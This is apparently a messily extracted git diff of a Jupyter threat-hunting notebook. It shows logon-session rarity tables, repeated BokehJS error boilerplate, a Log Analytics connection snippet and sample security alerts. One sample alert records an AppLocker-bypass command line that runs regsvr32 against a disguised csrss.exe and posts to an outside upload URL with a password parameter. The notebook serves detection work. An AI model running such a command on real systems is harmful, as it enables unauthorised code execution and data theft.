Notebook Version: 1.0
\n",
"Python Version: Python 3.6
\n",
"Data Sources Required: MDE SecurityAlert, W3CIIS Log (or similar web logging)
| SubjectUserName | SubjectLogonId | Rarity | ProcessCount |
|---|
| SubjectUserName | SubjectLogonId | Rarity | ProcessCount | ||||||
|---|---|---|---|---|---|---|---|---|---|
| 15 | \n", - "ian | \n", - "0x5d5af2 | \n", - "0.607143 | \n", - "56 | \n", + "15 | \n", + "ian | \n", + "0x5d5af2 | \n", + "0.607143 | \n", + "56 | \n", "
| 9 | \n", - "MSTICAdmin | \n", - "0xbd57571 | \n", - "0.484735 | \n", - "38 | \n", + "9 | \n", + "MSTICAdmin | \n", + "0xbd57571 | \n", + "0.484735 | \n", + "38 | \n", "
| 2 | \n", - "MSTICAdmin | \n", - "0x109c408 | \n", - "0.432549 | \n", - "10 | \n", + "2 | \n", + "MSTICAdmin | \n", + "0x109c408 | \n", + "0.432549 | \n", + "10 | \n", "
| 5 | \n", - "MSTICAdmin | \n", - "0x2e2017 | \n", - "0.408239 | \n", - "33 | \n", + "5 | \n", + "MSTICAdmin | \n", + "0x2e2017 | \n", + "0.408239 | \n", + "33 | \n", "
| 0 | \n", - "- | \n", - "0x3e7 | \n", - "0.350000 | \n", - "20 | \n", + "0 | \n", + "- | \n", + "0x3e7 | \n", + "0.350000 | \n", + "20 | \n", "
| 7 | \n", - "MSTICAdmin | \n", - "0x78225e | \n", - "0.297775 | \n", - "21 | \n", + "7 | \n", + "MSTICAdmin | \n", + "0x78225e | \n", + "0.297775 | \n", + "21 | \n", "
| 10 | \n", - "MSTICAdmin | \n", - "0xbed1e13 | \n", - "0.297775 | \n", - "21 | \n", + "10 | \n", + "MSTICAdmin | \n", + "0xbed1e13 | \n", + "0.297775 | \n", + "21 | \n", "
| 3 | \n", - "MSTICAdmin | \n", - "0x1e821b5 | \n", - "0.239992 | \n", - "8 | \n", + "3 | \n", + "MSTICAdmin | \n", + "0x1e821b5 | \n", + "0.239992 | \n", + "8 | \n", "
| 8 | \n", - "MSTICAdmin | \n", - "0xab5a5ac | \n", - "0.239992 | \n", - "8 | \n", + "8 | \n", + "MSTICAdmin | \n", + "0xab5a5ac | \n", + "0.239992 | \n", + "8 | \n", "
| 11 | \n", - "MSTICAdmin | \n", - "0xc277459 | \n", - "0.236656 | \n", - "6 | \n", + "11 | \n", + "MSTICAdmin | \n", + "0xc277459 | \n", + "0.236656 | \n", + "6 | \n", "
| 4 | \n", - "MSTICAdmin | \n", - "0x1f388a3 | \n", - "0.202848 | \n", - "7 | \n", + "4 | \n", + "MSTICAdmin | \n", + "0x1f388a3 | \n", + "0.202848 | \n", + "7 | \n", "
| 12 | \n", - "MSTICAdmin | \n", - "0xc54c7b9 | \n", - "0.202848 | \n", - "7 | \n", + "12 | \n", + "MSTICAdmin | \n", + "0xc54c7b9 | \n", + "0.202848 | \n", + "7 | \n", "
| 6 | \n", - "MSTICAdmin | \n", - "0x527d50d | \n", - "0.058824 | \n", - "3 | \n", + "6 | \n", + "MSTICAdmin | \n", + "0x527d50d | \n", + "0.058824 | \n", + "3 | \n", "
| 1 | \n", - "LOCAL SERVICE | \n", - "0x3e5 | \n", - "0.038462 | \n", - "26 | \n", + "1 | \n", + "LOCAL SERVICE | \n", + "0x3e5 | \n", + "0.038462 | \n", + "26 | \n", "
| 14 | \n", - "MSTICAlertsWin1$ | \n", - "0x3e7 | \n", - "0.012226 | \n", - "14508 | \n", + "14 | \n", + "MSTICAlertsWin1$ | \n", + "0x3e7 | \n", + "0.012226 | \n", + "14508 | \n", "
| 13 | \n", - "MSTICAlertsWin1$ | \n", - "0x3e4 | \n", - "0.004636 | \n", - "8197 | \n", + "13 | \n", + "MSTICAlertsWin1$ | \n", + "0x3e4 | \n", + "0.004636 | \n", + "8197 | \n", "
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\n", + "connect_str = \"loganalytics://tenant(TENANT_ID).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\"\n", + "qry_prov.connect(connect_str)\n", + "\n", + "instead of
\n", + "qry_prov.connect(ws_config)\n", + "\n", "\n", - "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this.
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"| \n", - " | 37 | \n", + "22 | \n", "
|---|---|---|
| TimeGenerated | \n", - "2019-02-14 11:52:06 | \n", + "2019-02-15 04:03:30 | \n", "
| AlertDisplayName | \n", - "Potential attempt to bypass AppLocker detected | \n", + "Possible suspicious scheduling tasks access detected | \n", "
| AlertName | \n", - "Potential attempt to bypass AppLocker detected | \n", + "Possible suspicious scheduling tasks access detected | \n", "
| Severity | \n", - "High | \n", + "Informational | \n", "
| Description | \n", - "Analysis of host data on MSTICALERTSWIN1 detected a potential attempt to bypass AppLocker restrictions. AppLocker can be configured to implement a policy that limits what executables are allowed to run on a Windows system. The command line pattern similar to that identified in this alert has been previously associated with attacker attempts to circumvent AppLocker policy by using trusted executables (allowed by AppLocker policy) to execute untrusted code. This could be legitimate activity, or an indication of a compromised host. | \n", + "Analysis of host data indicates that a cron job was accessed by dbadmin.\\r\\nThis activity could either be legitimate activity, or an indication of a compromised host that involved using task scheduling to execute malicious programs on a scheduled basis. | \n", "
| ProviderName | \n", @@ -661,23 +633,23 @@ "||
| VendorOriginalId | \n", - "daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f | \n", + "57b6af71-984e-45f3-9aac-d6bbd79eed07 | \n", "
| SystemAlertId | \n", - "2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f | \n", + "2518520973978269999_57b6af71-984e-45f3-9aac-d6bbd79eed07 | \n", "
| ResourceId | \n", - "/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsWin1 | \n", + "/subscriptions/40dcc8bf-0478-4f3b-b275-ed0a94f2c013/resourceGroups/ASIHuntOMSWorkspaceRG/providers/Microsoft.Compute/virtualMachines/MSTICAlertsLxVM2 | \n", "
| SourceComputerId | \n", - "263a788b-6526-4cdc-8ed9-d79402fe4aa0 | \n", + "44623fb0-bd5f-49ea-84d1-56aa11ab8a25 | \n", "
| AlertType | \n", - "SCUBA_RULE_Applocker_Bypass | \n", + "SCUBA_RULE_AccessCronJob | \n", "
| ConfidenceLevel | \n", @@ -693,27 +665,27 @@ "||
| StartTimeUtc | \n", - "2019-02-14 11:51:38 | \n", + "2019-02-15 04:03:22 | \n", "
| EndTimeUtc | \n", - "2019-02-14 11:51:38 | \n", + "2019-02-15 04:03:22 | \n", "
| ProcessingEndTime | \n", - "2019-02-14 11:52:07 | \n", + "2019-02-15 04:03:30 | \n", "
| RemediationSteps | \n", - "[\\r\\n \"Review with MSTICALERTSWIN1\\\\MSTICAdmin the suspicious command line in this alert to see if you recognise this as legitimate activity that you expect to see on MSTICALERTSWIN1. If not, escalate the alert to the information security team.\"\\r\\n] | \n", + "[\\r\\n \"Review with dbadmin the activity in this alert to see if you recognize this as legitimate administrative activity. If not, escalate the alert to the information security team.\"\\r\\n] | \n", "
| ExtendedProperties | \n", - "{'Compromised Host': 'MSTICALERTSWIN1', 'User Name': 'MSTICALERTSWIN1\\MSTICAdmin', 'Account Session Id': '0x78225e', 'Suspicious Process': 'c:\\w!ndows\\system32\\regsvr32.exe', 'Suspicious Command Line': '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post', 'Parent Process': 'c:\\windows\\system32\\cmd.exe', 'Suspicious Process Id': '0x1150', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'} | \n", + "{'Compromised Host': 'MSTICALERTSLXVM2', 'User Name': 'dbadmin', 'Account Session Id': '0x2e093', 'Suspicious Process': '/usr/bin/vim.basic', 'Suspicious Command Line': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'Suspicious Process Id': '0x51b3', 'resourceType': 'Virtual Machine', 'ServiceId': '14fa08c7-c48e-4c18-950c-8148024b4398', 'ReportingSystem': 'Azure', 'OccuringDatacenter': 'eastus'} | \n", "
| Entities | \n", - "[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSWIN1', 'NetBiosName': 'MSTICALERTSWIN1', 'OSFamily': 'Windows', 'OSVersion': 'Windows', 'IsDomainJoined': False, 'Type': 'host'}, {'$id': '5', 'Directory': 'c:\\windows\\system32', 'Name': 'cmd.exe', 'Type': 'file'}, {'$id': '6', 'ProcessId': '0x12f4', 'CommandLine': '', 'ImageFile': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '7', 'Name': 'MSTICAdmin', 'NTDomain': 'MSTICAlertsWin1', 'Host': {'$ref': '4'}, 'Sid': 'S-1-5-21-996632719-2361334927-4038480536-500', 'IsDomainJoined': False, 'Type': 'account', 'LogonId': '0x78225e'}, {'$id': '8', 'Directory': 'c:\\w!ndows\\system32', 'Name': 'regsvr32.exe', 'Type': 'file'}, {'$id': '9', 'ProcessId': '0x1150', 'CommandLine': '.\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post', 'ElevationToken': 'Default', 'CreationTimeUtc': '2019-02-14T11:51:38.5072586Z', 'ImageFile': {'$ref': '8'}, 'Account': {'$ref': '7'}, 'ParentProcess': {'$ref': '6'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '10', 'SessionId': '0x78225e', 'StartTimeUtc': '2019-02-14T11:51:38.5072586Z', 'EndTimeUtc': '2019-02-14T11:51:38.5072586Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '7'}}] | \n", + "[{'$id': '4', 'DnsDomain': '', 'NTDomain': '', 'HostName': 'MSTICALERTSLXVM2', 'NetBiosName': 'MSTICALERTSLXVM2', 'OSFamily': 'Linux', 'OSVersion': 'Linux', 'Type': 'host'}, {'$id': '5', 'ProcessId': '0x518a', 'CommandLine': '', 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '6', 'Name': 'dbadmin', 'Host': {'$ref': '4'}, 'Sid': '1001:1001', 'Type': 'account', 'LogonId': '0x2e093'}, {'$id': '7', 'Directory': '/usr/bin', 'Name': 'vim.basic', 'Type': 'file'}, {'$id': '8', 'ProcessId': '0x51b3', 'CommandLine': '/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab', 'CreationTimeUtc': '2019-02-15T04:03:22.173Z', 'ImageFile': {'$ref': '7'}, 'Account': {'$ref': '6'}, 'ParentProcess': {'$ref': '5'}, 'Host': {'$ref': '4'}, 'Type': 'process'}, {'$id': '9', 'SessionId': '0x2e093', 'StartTimeUtc': '2019-02-15T04:03:22.173Z', 'EndTimeUtc': '2019-02-15T04:03:22.173Z', 'Type': 'host-logon-session', 'Host': {'$ref': '4'}, 'Account': {'$ref': '6'}}] | \n", "
| SourceSystem | \n", @@ -749,7 +721,7 @@ "||
| CompromisedEntity | \n", - "MSTICALERTSWIN1 | \n", + "MSTICALERTSLXVM2 | \n", "
| Compromised Host | \n", - "MSTICALERTSWIN1 | \n", + "MSTICALERTSLXVM2 | \n", "
|---|---|---|
| User Name | \n", - "MSTICALERTSWIN1\\MSTICAdmin | \n", + "dbadmin | \n", "
| Account Session Id | \n", - "0x78225e | \n", + "0x2e093 | \n", "
| Suspicious Process | \n", - "c:\\w!ndows\\system32\\regsvr32.exe | \n", + "/usr/bin/vim.basic | \n", "
| Suspicious Command Line | \n", - ".\\regsvr32 /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post | \n", - "|
| Parent Process | \n", - "c:\\windows\\system32\\cmd.exe | \n", + "/usr/bin/vim.basic /tmp/crontab.UQ6iiQ/crontab | \n", "
| Suspicious Process Id | \n", - "0x1150 | \n", + "0x51b3 | \n", "
| resourceType | \n", @@ -805,7 +773,7 @@ "eastus | \n", "
\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n",
+ " \"from bokeh.resources import INLINE\\n\"+\n",
+ " \"output_notebook(resources=INLINE)\\n\"+\n",
+ " \"\\n\"+\n",
+ " \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"